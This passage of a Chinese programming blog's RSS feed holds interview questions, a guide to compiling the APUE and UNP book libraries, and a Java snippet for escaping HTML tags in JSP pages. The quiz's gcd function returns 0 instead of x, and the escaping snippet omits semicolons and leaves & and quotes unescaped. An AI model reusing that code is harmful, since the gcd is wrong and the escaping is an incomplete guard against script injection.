<p>D.4</p>  <p>1.5<span style="font-family:宋体;">用二进制来编码字符串&#8220;</span>abcdabaa<span style="font-family:宋体;">&#8221;</span>,<span style="font-family:宋体;">需要能够根据编码，解码回原来的字符串，最少需要多长的二进制字符串？</span></p>  <p>A.12</p>  <p>B.14</p>  <p>C.18</p>  <p>D.24</p>  <p>1.6 10<span style="font-family:宋体;">个相同的糖果，分给三个人，每个人至少要得一个。有多少种不同分法</span></p>  <p>A.33 B.34C.35D.36</p>  <p>1.7 <span style="font-family:宋体;">下列程序段，循环体执行次数是：</span></p>  <p>y=2</p>  <p>while(y&lt;=8)</p>  <p>y=y+y;</p>  <p>A.2</p>  <p>B.16</p>  <p>C.4 </p>  <p>D.3</p>  <p>1.8<span style="font-family:宋体;">下面哪种机制可以用来进行进程间通信？</span></p>  <p>A.Socket B.PIPEC.SHARED MEMORYD.<span style="font-family:宋体;">以上皆可</span></p>  <p>1.9 <span style="font-family:宋体;">下列关于编程优化的说法正确的是：</span></p>  <p>A. <span style="font-family:宋体;">使用编译器的优化选项后程序性能一定会获得提高</span></p>  <p>B. <span style="font-family:宋体;">循环展开得越多越彻底，程序的性能越好</span></p>  <p>C. <span style="font-family:宋体;">寄存器分配能够解决程序中的数据依赖问题</span></p>  <p>D. <span style="font-family:宋体;">现代主流</span>C/C++<span style="font-family:宋体;">编译器可以对简单的小函数进行自动</span>Iinline</p>  <p>1.10 <span style="font-family:宋体;">一下程序是用来计算两个非负数之间的最大公约数：</span></p>  <p>long long gcd(long long x, long long y){</p>  <p>if( y==0) return 0;</p>  <p>else return gcd (y, x%y);</p>  <p>}</p>  <p><span style="font-family:宋体;">我们假设</span>x,y<span style="font-family:宋体;">中最大的那个数的长度为</span>n<span style="font-family:宋体;">，基本运算时间复杂度为</span>O<span style="font-family:宋体;">（</span>1<span style="font-family:宋体;">），那么该程序的时间复杂度为：</span></p>  <p>A.O(1) </p>  <p>B.O(logn) </p>  <p>C.O(n) </p>  <p>D.O(n^2)</p>  <p>&nbsp;</p>  <p>2 <span style="font-family:宋体;">程序设计与算法（</span>2.1,2.2<span style="font-family:宋体;">为编程题，</span>2.3<span style="font-family:宋体;">为算法设计题，只需设计思路和关键步骤伪代码）</span></p>  <p>2.1 <span style="font-family:宋体;">写函数，输出前</span>n<span style="font-family:宋体;">个素数。函数原型：</span>void print_prime(int N); <span style="font-family:宋体;">不需要考虑整数溢出问题，也不许使用大数处理算法。</span></p>  <p>&nbsp;</p>  <p><span style="color: red; ">2.2 </span><span style="font-family: 宋体; color: red; ">长度为</span><span style="color: red; ">n</span><span style="font-family: 宋体; color: red; ">的数组乱序存放着</span><span style="color: red; ">0</span><span style="font-family: 宋体; color: red; ">至</span><span style="color: red; ">n-1. </span><span style="font-family: 宋体; color: red; ">现在只能进行</span><span style="color: red; ">0</span><span style="font-family: 宋体; color: red; ">与其他书的</span><span style="color: red; ">swap</span><span style="font-family: 宋体; color: red; ">，请设计并实现排序（</span> <span style="font-family: 宋体; color: red; ">必须采用交换实现）。</span></p>  <p>&nbsp;</p>  <p>2.3 <span style="font-family:宋体;">给定一个原串和目标串，能对原串进行如下操作：</span></p>  <p>1 <span style="font-family:宋体;">在给定位置插入一个字符</span></p>  <p>2 <span style="font-family:宋体;">替换任意字符</span></p>  <p>3 <span style="font-family:宋体;">删除任意字符</span></p>  <p><span style="font-family:宋体;">要求写一个程序，返回最少的操作数，使得原串进行这些操作后等于目标串。原串和目标串长度都小于</span>2000.</p><img src ="http://www.cppblog.com/realzbc/aggbug/193918.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2012-10-26 17:36 <a href="http://www.cppblog.com/realzbc/archive/2012/10/26/193918.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>UNIX环境高级编程中的apue.h错误</title><link>http://www.cppblog.com/realzbc/archive/2012/10/22/193693.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Mon, 22 Oct 2012 13:31:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2012/10/22/193693.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/193693.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2012/10/22/193693.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/193693.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/193693.html</trackback:ping><description><![CDATA[<p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">最近在读 Richard Stevens 的大作《UNIX环境高级编程》，相信很多初读此书的人都会与我一样遇到这个问题，编译书中的程序实例时会出现问题，提示 &#8220;错误：apue.h：没有那个文件或目录&#8221;。</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">apue.h 是作者自定义的一个头文件，并不是Unix/Linux系统自带的，此头文件包括了Unix程序所需的常用头文件及作者Richard自己写的出错处理函数。所以在默认情况下，gcc在编译时是读不到这个头文件的。</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">先在这个网站&nbsp;http://www.apuebook.com/src.tar.gz 下载tar.gz格式的源码包，然后解压至某个目录，比如说/home/godsoul/下，然后进入目录apue.2e，把文件 Make.defines.linux 中的 WKDIR=/home/xxx/apue.2e 修改为 WKDIR=/home/godsoul/apue.2e ，然后再进入apue.2e目录下的std目录，打开linux.mk，将里面的nawk全部替换为awk，如果是用的vi/vim编辑器，可以使用这个 命令 &nbsp;:1.$s/nawk/awk/g&nbsp;（注意前面有冒号）<br />然后在此目录下运行make命令，即回到 /home/godsoul/apue.2e 目录在终端中输入 &#8220;./make&#8221; (不含引号)</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">然后把 /home/godsoul/apue.2e/inlcude 目录下的 apue.h 文件和位于 /home/godsoul/apue.2e/lib 目录下的 error.c 文件都复制到 /usr/include 目录下，apue.2e/lib/libapue.a 到/usr/lib/和 /usr/lib64下。注意复制这文件你需要有root权限。之所以要这样做，是因为gcc在链接头文件时会到 /usr/include 这个目录下寻找需要的头文件，若找不到则报错。</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">最终还要编辑一下复制过来的 apue.h 文件<br />在最后一行 #endif&nbsp;前面添加一行 #include &#8220;error.c&#8221;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">然后进入apue.2e/std 目录，编辑linux.mk。修改里面所有的nawk为awk。</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">这样就不会报错了。</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">还又可能遇到的问题如下：</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">如果出现stropts.h找不到的情况，则下载glibc-2.11，解压缩<br />cp ./glibc-2.11/streams/stropts.h /usr/include<br />cp ./glibc-2.11/bits/stropts.h /usr/include/bits<br />cp ./glibc-2.11/sysdeps/x86_64/bits/xtitypes.h /usr/include/bits</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">在我的机器上编译时，提示ARG_MAX未定义，可以这么修改。<br />在apue.2e/include/apue.h中添加一行：<br />#define ARG_MAX 4096<br />打开apue.2e/threadctl/getenv1.c 和apue.2e/threadctl/getenv3.c，添加一行：<br />#include &#8220;apue.h&#8221;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">改好后make clean再重新make</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">2. 使用apue.h文件和libapue.a库。<br />假定/tmp下有一个文件：threadid.c，内容如下(apue线程章节的例子):<br />#include &lt;apue.h&gt;<br />#include &lt;pthread.h&gt;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">pthread_t ntid;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">void<br />printids(const char *s)<br />{<br />pid_t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid;<br />pthread_t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tid;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">pid = getpid();<br />tid = pthread_self();<br />printf(&#8220;%s pid %u tid %u (0x%x)\n&#8221;, s, (unsigned int)pid,<br />(unsigned int)tid, (unsigned int)tid);<br />}</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">void *<br />thr_fn(void *arg)<br />{<br />printids(&#8220;new thread: &#8220;);<br />return((void *)0);<br />}</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">int<br />main(void)<br />{<br />int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">err = pthread_create(&amp;ntid, NULL, thr_fn, NULL);<br />if (err != 0)<br />err_quit(&#8220;can&#8217;t create thread: %s\n&#8221;, strerror(err));<br />printids(&#8220;main thread:&#8221;);<br />sleep(1);<br />exit(0);<br />}</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">使用如下命令编译：<br />cc -o threadid threadid.c -lapue -lpthread<br />可以运行一下：<br />dan@dan-laptop:/tmp$ ./threadid<br />new thread:&nbsp; pid 17490 tid 816015696 (0x30a36950)<br />main thread: pid 17490 tid 823949040 (0x311c76f0)</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">3. 编译《UNP》<br />这个稍微麻烦些。</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">http://www.unpbook.com/unpv13e.tar.gz</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">我们首先产生一个目录，以后自己的代码就敲在这个目录里。<br />mkdir /home/dan/study/unp</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">仍然是下载到/home/dan/download/，解压缩，进入目录<br />cd /home/dan/download/unpv13e/<br />README文件中说的很详细：<br />＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />Execute the following from the src/ directory:</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">./configure&nbsp;&nbsp;&nbsp; # try to figure out all implementation differences</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">cd lib&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # build the basic library that all programs need<br />make&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # use &#8220;gmake&#8221; everywhere on BSD/OS systems</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">cd ../libfree&nbsp; # continue building the basic library<br />make</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">cd ../libroute # only if your system supports 4.4BSD style routing sockets<br />make&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # only if your system supports 4.4BSD style routing sockets</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">cd ../libxti&nbsp;&nbsp; # only if your system supports XTI<br />make&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # only if your system supports XTI</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">cd ../intro&nbsp;&nbsp;&nbsp; # build and test a basic client program<br />make daytimetcpcli<br />＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />这里只编译lib下的文件，这样可以产生libunp.a，复制这个静态库到/usr/lib/和/usr/lib64/<br />如果提示：<br />unp.h:139: error: conflicting types for &#8216;socklen_t&#8217;<br />/usr/include/bits/socket.h:35: error: previous declaration of &#8216;socklen_t&#8217; was here<br />需要注释掉当前目录中unp.h的第１３９行。<br />复制libunp.a到系统目录：<br />root@dan-laptop:/home/dan/download/unpv13e/lib# cp ../libunp.a /usr/lib<br />root@dan-laptop:/home/dan/download/unpv13e/lib# cp ../libunp.a /usr/lib64/</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">4.使用unp.h和libunp.a<br />如果直接复制unpv13e/lib/unp.h到/usr/include，那么在别的目录编译书上代码时，很可会得到类似下面的错误：<br />In file included from daytimetcpsrv1.c:1:<br />/usr/include/unp.h:227: error: redefinition of &#8216;struct sockaddr_storage&#8217;<br />In file included from daytimetcpsrv1.c:1:<br />/usr/include/unp.h:249:30: error: ../lib/addrinfo.h: No such file or directory<br />/usr/include/unp.h:263: error: redefinition of &#8216;struct timespec&#8217;<br />/usr/include/unp.h:363: error: conflicting types for &#8216;gai_strerror&#8217;<br />/usr/include/netdb.h:647: error: previous declaration of &#8216;gai_strerror&#8217; was here<br />/usr/include/unp.h:367: error: conflicting types for &#8216;getnameinfo&#8217;<br />/usr/include/netdb.h:653: error: previous declaration of &#8216;getnameinfo&#8217; was here<br />/usr/include/unp.h:371: error: conflicting types for &#8216;gethostname&#8217;<br />/usr/include/unistd.h:857: error: previous declaration of &#8216;gethostname&#8217; was here<br />/usr/include/unp.h:387: error: conflicting types for &#8216;inet_ntop&#8217;<br />/usr/include/arpa/inet.h:65: error: previous declaration of &#8216;inet_ntop&#8217; was here<br />/usr/include/unp.h:395: error: conflicting types for &#8216;pselect&#8217;<br />/usr/include/sys/select.h:121: error: previous declaration of &#8216;pselect&#8217; was here<br />daytimetcpsrv1.c: In function &#8216;main&#8217;:<br />daytimetcpsrv1.c:9: error: &#8216;MAX_LINE&#8217; undeclared (first use in this function)<br />daytimetcpsrv1.c:9: error: (Each undeclared identifier is reported only once<br />daytimetcpsrv1.c:9: error: for each function it appears in.)<br />dan@dan-laptop:~/study/unp/4$ rm -f /usr/include/unp.h<br />解决方法有点傻：<br />进入我们开始时建立的目录：<br />cd /home/dan/study/unp<br />复制config.h和unp.h到此目录：<br />dan@dan-laptop:~/study/unp$ cp /home/dan/download/unpv13e/config.h .<br />dan@dan-laptop:~/study/unp$ cp /home/dan/download/unpv13e/lib/unp.h .<br />修改unp.h，<br />#include &#8220;../config.h&#8221;改成 #include &#8220;config.h&#8221;<br />添加一行：<br />#define MAX_LINE 2048<br />练习书上代码时，在unp目录下建立相应的章节目录，文件中添加一行：<br />#include &#8220;../unp.h&#8221;<br />编译时链接unp库就可以了。</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">以第四章的daytimetcpsrv1.c为例：<br />dan@dan-laptop:~/study/unp/4$ pwd<br />/home/dan/study/unp/4<br />dan@dan-laptop:~/study/unp/4$ cat daytimetcpsrv1.c<br />#include &#8220;../unp.h&#8221;<br />#include &lt;time.h&gt;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">int main(int argc, char **argv)<br />{<br />int&nbsp;&nbsp;&nbsp; listenfd, connfd;<br />socklen_t&nbsp;&nbsp;&nbsp; len;<br />struct sockaddr_in&nbsp;&nbsp;&nbsp; servaddr, cliaddr;<br />char&nbsp;&nbsp;&nbsp; buff[MAX_LINE];<br />time_t&nbsp;&nbsp;&nbsp; ticks;</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">listenfd = Socket(AF_INET, SOCK_STREAM, 0);</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">bzero(&amp;servaddr, sizeof(servaddr));<br />servaddr.sin_family = AF_INET;<br />servaddr.sin_addr.s_addr = htonl(INADDR_ANY);<br />servaddr.sin_port = htons(13);</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">Bind(listenfd, (SA *)&amp;servaddr, sizeof(servaddr));</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">Listen(listenfd, LISTENQ);</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">for (;;) {<br />len = sizeof(cliaddr);<br />connfd = Accept(listenfd, (SA *)&amp;cliaddr, &amp;len);<br />printf(&#8220;connection from %s, port %d\n&#8221;,<br />Inet_ntop(AF_INET, &amp;cliaddr.sin_addr, buff, sizeof(buff)),<br />ntohs(cliaddr.sin_port));</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">ticks = time(NULL);<br />snprintf(buff, sizeof(buff), &#8220;%.24s\r\n&#8221;, ctime(&amp;ticks));<br />Write(connfd, buff, strlen(buff));</p><p style="margin-top: 10px; margin-bottom: 10px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; ">Close(connfd);<br />}<br />}<br />编译：<br />cc -o daytimetcpsrv1 daytimetcpsrv1.c -lunp<br />运行一下：<br />root@dan-laptop:/home/dan/study/unp/4# ./daytimetcpsrv1 &amp;<br />[1] 22106<br />root@dan-laptop:/home/dan/study/unp/4#<br />root@dan-laptop:/home/dan/study/unp/4# ./daytimetcpcli<br />usage: a.out &lt;IPaddress&gt;<br />root@dan-laptop:/home/dan/study/unp/4# ./daytimetcpcli 127.0.0.1<br />connection from 127.0.0.1, port 42064<br />Fri Aug 21 23:03:56 2009<br />root@dan-laptop:/home/dan/study/unp/4# netstat -nt<br />Active Internet connections (w/o servers)<br />Proto Recv-Q Send-Q Local Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Foreign Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; State<br />tcp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 127.0.0.1:13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 127.0.0.1:42064&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TIME_WAIT</p><img src ="http://www.cppblog.com/realzbc/aggbug/193693.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2012-10-22 21:31 <a href="http://www.cppblog.com/realzbc/archive/2012/10/22/193693.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>jsp页面显示&lt;script&gt;,&lt;/script&gt;等标签时直接运行的解决办法</title><link>http://www.cppblog.com/realzbc/archive/2012/09/28/192273.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Fri, 28 Sep 2012 07:49:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2012/09/28/192273.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/192273.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2012/09/28/192273.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/192273.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/192273.html</trackback:ping><description><![CDATA[<h2>&nbsp;&nbsp;&nbsp;<span style="font-family: 'Comic Sans MS'; font-size: 24pt; ">JSP页面显示html标签等内容时会直接运行而不是把他们当做文本输出，解决办法(java)：<br /></span><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080; ">1</span>&nbsp;<span style="color: #0000FF; ">public</span>&nbsp;<span style="color: #0000FF; ">class</span>&nbsp;URLReplace<br /><span style="color: #008080; ">2</span>&nbsp;{<br /><span style="color: #008080; ">3</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">public</span>&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;String&nbsp;replace(String&nbsp;url)<br /><span style="color: #008080; ">4</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /><span style="color: #008080; ">5</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;URL&nbsp;=&nbsp;url.replaceAll("&lt;","&amp;lt");<br /><span style="color: #008080; ">6</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;URL.replaceAll("&gt;","&amp;gt");<br /><span style="color: #008080; ">7</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">8</span>&nbsp;}</div>&nbsp;<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#115;&#117;&#112;&#112;&#111;&#114;&#116;&#64;&#67;&#117;&#116;&#101;&#83;&#111;&#102;&#116;&#46;&#78;&#101;&#116;">Contact us</a></h2><img src ="http://www.cppblog.com/realzbc/aggbug/192273.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2012-09-28 15:49 <a href="http://www.cppblog.com/realzbc/archive/2012/09/28/192273.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>